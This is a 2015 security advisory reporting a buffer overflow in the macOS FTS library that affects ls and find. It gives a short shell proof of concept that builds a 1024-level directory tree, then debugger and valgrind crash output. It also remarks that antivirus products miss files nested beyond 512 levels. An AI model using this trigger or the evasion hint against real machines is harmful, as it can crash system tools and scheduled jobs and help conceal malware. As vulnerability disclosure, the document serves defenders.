MacOS X 10.11 FTS Buffer Overflow

2015-10-26T00:00:00
ID PACKETSTORM:134090
Type packetstorm
Reporter Maksymilian Arciemowicz
Modified 2015-10-26T00:00:00

Description

                                        
                                            `MacOS X 10.11 FTS Deep structure of the file system Buffer Overflow  
Credit: Maksymilian Arciemowicz ( CXSECURITY )  
Website:   
http://cxsecurity.com/  
http://cert.cx/  
  
  
Affected software:  
- Commands such as: ls, find, rm   
- probably more  
  
Apple file system suffer for a issue recognised in FTS library. The main problem occur when we create deep filesystem hierarchy. Unexpected behavior of many programs and invalid memory write seems really interesting.  
  
PoC:  
Create an direcotry and perform the following actions:  
  
  
# for i in {1..1024}; do mkdir B && cd B; done  
..  
cd: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory  
  
  
If such error occur, don't panic script will continuing. When the script will finish, you need back to top of directory. E.g.  
  
  
# for i in {1..1024}; do cd .. ; done  
  
  
Then you can perform recursive 'ls' command. Let's run it ten times:  
  
  
# for i in {1..10}; do ls -laR > /dev/null; done  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
ls: B: No such file or directory  
Segmentation fault: 11  
Segmentation fault: 11  
Segmentation fault: 11  
ls: B: No such file or directory  
ls: B: No such file or directory  
Segmentation fault: 11  
ls: B: No such file or directory  
ls: B: No such file or directory  
  
  
crash randometly. Let's see valgrind and lldb   
  
  
LLDB:  
..  
/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:  
total 0  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8  
  
./B/B/B/B/B/B/B/B/..../B/B:  
Process 987 stopped  
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)  
frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18  
libsystem_c.dylib`strlen:  
-> 0x7fff97ab6d32 <+18>: pcmpeqb (%rdi), %xmm0  
0x7fff97ab6d36 <+22>: pmovmskb %xmm0, %esi  
0x7fff97ab6d3a <+26>: andq $0xf, %rcx  
0x7fff97ab6d3e <+30>: orq $-0x1, %rax  
  
(lldb) x/x $rdi  
error: memory read failed for 0xfeb66c00  
(lldb) register read  
General Purpose Registers:  
rax = 0x00000000ffffffff  
rbx = 0x00000000ffffffff  
rcx = 0x00000000feb66c08  
rdx = 0x00000000feb66c08  
rdi = 0x00000000feb66c00  
rsi = 0x00007fff97afbb4d libsystem_c.dylib`__vfprintf + 2742  
rbp = 0x00007fff5fbfe710  
rsp = 0x00007fff5fbfe710  
..  
rip = 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18  
..  
(lldb) bt  
* thread #1: tid = 0x2924, 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0xfeb66c00)  
* frame #0: 0x00007fff97ab6d32 libsystem_c.dylib`strlen + 18  
frame #1: 0x00007fff97afc6e8 libsystem_c.dylib`__vfprintf + 5713  
frame #2: 0x00007fff97b2535d libsystem_c.dylib`__v2printf + 669  
frame #3: 0x00007fff97b095a9 libsystem_c.dylib`_vsnprintf + 596  
frame #4: 0x00007fff97b0965e libsystem_c.dylib`vsnprintf + 80  
frame #5: 0x00007fff97b3acc0 libsystem_c.dylib`__snprintf_chk + 128  
frame #6: 0x00000001000024a8 ls`___lldb_unnamed_function16$$ls + 1564  
frame #7: 0x0000000100001cfd ls`___lldb_unnamed_function14$$ls + 421  
frame #8: 0x0000000100001a70 ls`___lldb_unnamed_function13$$ls + 2300  
frame #9: 0x00007fff93cdb5ad libdyld.dylib`start + 1  
  
=== Time for Valgrind =============  
  
B/B/B/B/B/../B:  
total 0  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8  
  
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/  
B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:  
total 0  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 .  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 ..  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 B  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X1  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X2  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X3  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X4  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X5  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X6  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X7  
drwxr-xr-x 11 cxsecurity staff 374 19 Oct 18:09 X8  
==1009== Invalid write of size 1  
==1009== at 0x1000126C3: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1009== by 0x1002E034B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x100001DAD: ??? (in /bin/ls)  
==1009== by 0x100001A6F: ??? (in /bin/ls)  
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)  
==1009== by 0x1: ???  
==1009== by 0x104809C8A: ???  
==1009== by 0x104809C8D: ???  
==1009== Address 0x100ae9880 is 0 bytes after a block of size 1,280 alloc'd  
==1009== at 0x10000FEBB: malloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1009== by 0x1002DFAB7: __fts_open (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x100001B92: ??? (in /bin/ls)  
==1009== by 0x100001A6F: ??? (in /bin/ls)  
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)  
==1009== by 0x1: ???  
==1009== by 0x104809C8A: ???  
==1009== by 0x104809C8D: ???  
==1009==   
  
./B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/  
B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B/B:  
==1009== Invalid read of size 1  
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x1000024A7: ??? (in /bin/ls)  
==1009== by 0x100001CFC: ??? (in /bin/ls)  
==1009== by 0x100001A6F: ??? (in /bin/ls)  
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)  
==1009== by 0x1: ???  
==1009== by 0x104809C8A: ???  
==1009== Address 0x102d20318 is not stack'd, malloc'd or (recently) free'd  
==1009==   
==1009==   
==1009== Process terminating with default action of signal 11 (SIGSEGV)  
==1009== Access not within mapped region at address 0x102D20318  
==1009== at 0x1000116BF: strlen (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1009== by 0x1003226E7: __vfprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10034B35C: __v2printf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10032F5A8: _vsnprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x10032F65D: vsnprintf (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x100360CBF: __snprintf_chk (in /usr/lib/system/libsystem_c.dylib)  
==1009== by 0x1000024A7: ??? (in /bin/ls)  
==1009== by 0x100001CFC: ??? (in /bin/ls)  
==1009== by 0x100001A6F: ??? (in /bin/ls)  
==1009== by 0x1002815AC: start (in /usr/lib/system/libdyld.dylib)  
==1009== by 0x1: ???  
==1009== by 0x104809C8A: ???  
==1009== If you believe this happened as a result of a stack  
==1009== overflow in your program's main thread (unlikely but  
==1009== possible), you can try to increase the size of the  
==1009== main thread stack using the --main-stacksize= flag.  
==1009== The main thread stack size used in this run was 8388608.  
==1009==   
==1009== HEAP SUMMARY:  
==1009== in use at exit: 1,671,999 bytes in 6,025 blocks  
==1009== total heap usage: 91,521 allocs, 85,496 frees, 9,706,918 bytes allocated  
==1009==   
==1009== LEAK SUMMARY:  
==1009== definitely lost: 519 bytes in 6 blocks  
==1009== indirectly lost: 104 bytes in 6 blocks  
==1009== possibly lost: 0 bytes in 0 blocks  
==1009== still reachable: 1,645,151 bytes in 5,819 blocks  
==1009== suppressed: 26,225 bytes in 194 blocks  
==1009== Rerun with --leak-check=full to see details of leaked memory  
==1009==   
==1009== For counts of detected and suppressed errors, rerun with: -v  
==1009== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)  
Segmentation fault: 11  
MacMini:SCANME cxsecurity$  
  
  
It looks like a buffer overflow in memmove(). Code  
  
http://www.opensource.apple.com/source/Libc/Libc-1044.40.1/gen/fts.c  
  
  
The same issue for 'find' which may be used in cron scripts like  
  
  
./periodic/daily/110.clean-tmps: find -dx . -fstype local -type f $args -delete $print  
./periodic/daily/110.clean-tmps: find -dx . -fstype local ! -name . -type d $dargs -delete $print  
./periodic/daily/140.clean-rwho: rc=$(find . ! -name . -mtime +$daily_clean_rwho_days   
./periodic/daily/199.clean-fax: find . -type f -name '[0-9]*.[0-9][0-9][0-9]' -mtime +7 -delete >/dev/null 2>&1;  
  
  
Let's see valgrind output.  
  
  
MacMini:SCANME cxsecurity$ valgrind find . -name "R"  
==1055== Memcheck, a memory error detector  
==1055== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.  
==1055== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info  
==1055== Command: find . -name R  
==1055==   
find: ./.Trashes: Permission denied  
==1055== Invalid write of size 2  
==1055== at 0x100015690: _platform_memmove$VARIANT$Ivybridge (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1055== by 0x1001B134B: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)  
==1055== by 0x1000013FA: ??? (in /usr/bin/find)  
==1055== by 0x1000052AD: ??? (in /usr/bin/find)  
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)  
==1055== by 0x3: ???  
==1055== by 0x10480CC7F: ???  
==1055== Address 0x10120b944 is 2,052 bytes inside a block of size 2,053 alloc'd  
==1055== at 0x100013920: realloc (in /usr/local/Cellar/valgrind/3.11.0/lib/valgrind/vgpreload_memcheck-amd64-darwin.so)  
==1055== by 0x1001B1767: fts_build (in /usr/lib/system/libsystem_c.dylib)  
==1055== by 0x1001B11DA: fts_read$INODE64 (in /usr/lib/system/libsystem_c.dylib)  
==1055== by 0x1000013FA: ??? (in /usr/bin/find)  
==1055== by 0x1000052AD: ??? (in /usr/bin/find)  
==1055== by 0x1001525AC: start (in /usr/lib/system/libdyld.dylib)  
==1055== by 0x3: ???  
==1055== by 0x10480CC7F: ???  
..  
  
Invalid memory write without crashing.  
  
  
BTW:  
Many vendors of antiviruses for MACOS X seems to be blind for malicus software above 512 level of directory. Eg. Eset32, Kaspersky etc.  
  
====== References ===================================  
https://cxsecurity.com/issue/WLB-2014040027  
https://cxsecurity.com/cveshow/CVE-2014-4433/  
https://cxsecurity.com/cveshow/CVE-2014-4434/  
https://cxsecurity.com/issue/WLB-2013110059  
https://cxsecurity.com/cveshow/CVE-2013-6799/  
https://cxsecurity.com/issue/WLB-2010040284  
https://cxsecurity.com/cveshow/CVE-2010-0105/  
https://cxsecurity.com/issue/WLB-2005090063  
  
  
====== Thanks ===================================  
Kacper and Smash_ from DEVILTEAM for technical support.   
  
  
====== Credit ===================================  
Maksymilian Arciemowicz from cxsecurity.com  
  
http://cxsecurity.com/  
http://cert.cx/  
http://cifrex.org/  
`